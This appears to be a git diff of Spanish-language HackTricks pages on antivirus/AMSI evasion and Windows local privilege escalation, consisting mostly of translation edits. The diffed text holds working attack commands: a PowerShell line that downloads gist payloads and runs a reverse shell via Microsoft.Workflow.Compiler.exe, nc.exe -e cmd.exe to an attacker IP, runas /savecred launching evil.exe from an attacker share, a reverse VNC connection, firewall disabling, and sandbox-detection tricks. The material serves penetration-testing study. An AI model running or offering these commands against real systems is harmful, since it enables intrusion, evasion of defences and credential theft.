![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)

54
src/windows-hardening/av-bypass.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
**¡Esta página fue escrita por** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
## **Metodología de Evasión de AV**
@ -19,7 +18,7 @@ Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero nec
- **Ofuscación**
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
- **Herramientas personalizadas**
@ -35,7 +34,7 @@ Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTub
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
- **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de sueño puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente.
- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos con los que trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades de los ventiladores, no todo estará implementado en el sandbox.
- **Verificaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
@ -50,7 +49,7 @@ Como hemos dicho antes en este post, **las herramientas públicas** eventualment
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS?
La respuesta correcta probablemente sea la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
La respuesta correcta es probablemente la segunda. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
> [!NOTE]
> Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
@ -80,9 +79,9 @@ Este comando mostrará la lista de programas susceptibles a la suplantación de
Te recomiendo encarecidamente que **explores programas susceptibles a la suplantación de DLL/que se pueden cargar lateralmente tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas públicamente conocidos que se pueden cargar lateralmente, podrías ser atrapado fácilmente.
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxying/Forwarding de DLL**.
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **Proxying/Forwarding de DLL**.
**Proxying de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu carga útil.
**Proxying de DLL** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu payload.
Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -108,7 +107,7 @@ Estos son los resultados:
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> **Recomiendo encarecidamente** que veas el [VOD de twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad.
> **Recomiendo encarecidamente** que veas el [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad.
## [**Freeze**](https://github.com/optiv/Freeze)
@ -128,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (Interfaz de Escaneo Anti-Malware)
AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, así que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, por lo que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
La función AMSI está integrada en estos componentes de Windows.
@ -138,13 +137,13 @@ La función AMSI está integrada en estos componentes de Windows.
- JavaScript y VBScript
- Macros de Office VBA
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como no ofuscada.
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como sin ofuscar.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Nota cómo se antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
Nota cómo antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI.
@ -158,7 +157,7 @@ Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múl
- **Evasión de AMSI**
Dado que AMSI se implementa cargando un DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario no privilegiado. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario no privilegiado. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
**Forzar un Error**
@ -205,7 +204,7 @@ Hay varias herramientas que se pueden usar para **ofuscar código en texto claro
- [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos.
@ -268,7 +267,7 @@ La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Ha
- **Fork\&Run**
Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser atrapado por **Detecciones Comportamentales**.
Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
@ -285,7 +284,7 @@ También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-
## Usando Otros Lenguajes de Programación
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al dar a la máquina comprometida acceso **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al dar acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
@ -297,19 +296,23 @@ La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas
Cada entorno al que te enfrentes tendrá sus propias fortalezas y debilidades.
Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una base sobre técnicas de evasión más avanzadas.
Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94) para obtener una base sobre técnicas de evasión más avanzadas.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Esta también es otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Técnicas Antiguas**
### **Ver qué partes encuentra Defender como maliciosas**
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** está encontrando como maliciosa y te lo dividirá.\
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte Defender** encuentra como maliciosa y te lo dividirá.\
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con un servicio web abierto que ofrece el servicio en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Servidor Telnet**
@ -322,7 +325,7 @@ Haz que **inicie** cuando se arranque el sistema y **ejecuta** ahora:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Cambiar el puerto telnet** (sigiloso) y deshabilitar el firewall:
**Cambiar el puerto telnet** (sigiloso) y desactivar el firewall:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -341,12 +344,12 @@ Luego, mueve el binario _**winvnc.exe**_ y el archivo **nuevo** creado _**UltraV
#### **Conexión inversa**
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **conexión VNC inversa**. Luego, dentro de la **víctima**: Inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **conexión VNC** inversa. Luego, dentro de la **víctima**: Inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ADVERTENCIA:** Para mantener el sigilo no debes hacer algunas cosas
- No inicies `winvnc` si ya está en ejecución o activarás un [popup](https://i.imgur.com/1SROTTl.png). verifica si está en ejecución con `tasklist | findstr winvnc`
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o abrirá [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
- No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
- No ejecutes `winvnc -h` para ayuda o activarás un [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -466,6 +469,10 @@ catch (Exception err) { }
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Descarga y ejecución automáticas:
```csharp
64bit:
@ -474,7 +481,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Lista de ofuscadores de C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -524,5 +533,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

66
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### Version Exploits
Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno Windows.
Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno de Windows.
**En el sistema**
@ -125,7 +125,7 @@ Para ver los últimos 15 eventos de los registros de PowersShell, puedes ejecuta
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Registro de Bloques de Script**
### PowerShell **Script Block Logging**
Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso.
```bash
@ -178,7 +178,7 @@ Lee la investigación aquí:
[**Lee el informe completo aquí**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
Básicamente, este es el defecto que explota este error:
> Si tenemos el poder de modificar nuestro proxy de usuario local, y Windows Updates utiliza el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
> Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
>
> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
@ -186,7 +186,7 @@ Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](http
## KrbRelayUp
Una **vulnerabilidad de escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
@ -245,7 +245,7 @@ create-msi-with-wix.md
### Instalación de MSI
Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:**
Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:**
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** se introdujo en **Windows 10**. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como los ataques de pass-the-hash.| [**Más información sobre Credentials Guard aquí.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -433,8 +433,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Si tienes este error (por ejemplo con SSDPSRV):
_Se ha producido un error del sistema 1058._\
&#xNAN;_&#x54;el servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._
_Error del sistema 1058 ha ocurrido._\
&#xNAN;_&#x54;el servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
Puedes habilitarlo usando
```bash
@ -465,10 +465,10 @@ net stop [service name] && net start [service name]
Los privilegios se pueden escalar a través de varios permisos:
- **SERVICE_CHANGE_CONFIG**: Permite la reconfiguración del binario del servicio.
- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones del servicio.
- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones de servicio.
- **WRITE_OWNER**: Permite la adquisición de propiedad y la reconfiguración de permisos.
- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones del servicio.
- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones del servicio.
- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones de servicio.
- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones de servicio.
Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _exploit/windows/local/service_permissions_.
@ -555,7 +555,7 @@ Windows permite a los usuarios especificar acciones a tomar si un servicio falla
### Aplicaciones Instaladas
Verifique **los permisos de los binarios** (quizás pueda sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -700,14 +700,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
```
### Administrador de credenciales / Bóveda de Windows
Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.
La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
Usa el `cmdkey` para listar las credenciales almacenadas en la máquina.
```bash
cmdkey /list
Currently stored credentials:
@ -719,11 +719,11 @@ Luego puedes usar `runas` con la opción `/savecred` para utilizar las credencia
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
Usando `runas` con un conjunto de credenciales proporcionado.
Usando `runas` con un conjunto de credenciales proporcionadas.
```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
Nota que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
### DPAPI
@ -902,11 +902,11 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
### Claves SSH en el registro
Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, por lo que deberías verificar si hay algo interesante allí:
Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, así que deberías verificar si hay algo interesante allí:
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada de forma encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Más información sobre esta técnica aquí: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Si el servicio `ssh-agent` no está en ejecución y deseas que se inicie automáticamente al arrancar, ejecuta:
@ -976,11 +976,11 @@ AppData\Roaming\gcloud\access_tokens.db
Busque un archivo llamado **SiteList.xml**
### Contraseña GPP en caché
### Cached GPP Pasword
Anteriormente, había una función disponible que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP en caché localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
@ -991,7 +991,7 @@ Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents a
- Printers.xml
- Drives.xml
**Para descifrar la cPassword:**
**Para descifrar el cPassword:**
```bash
#To decrypt these passwords you can decrypt it using
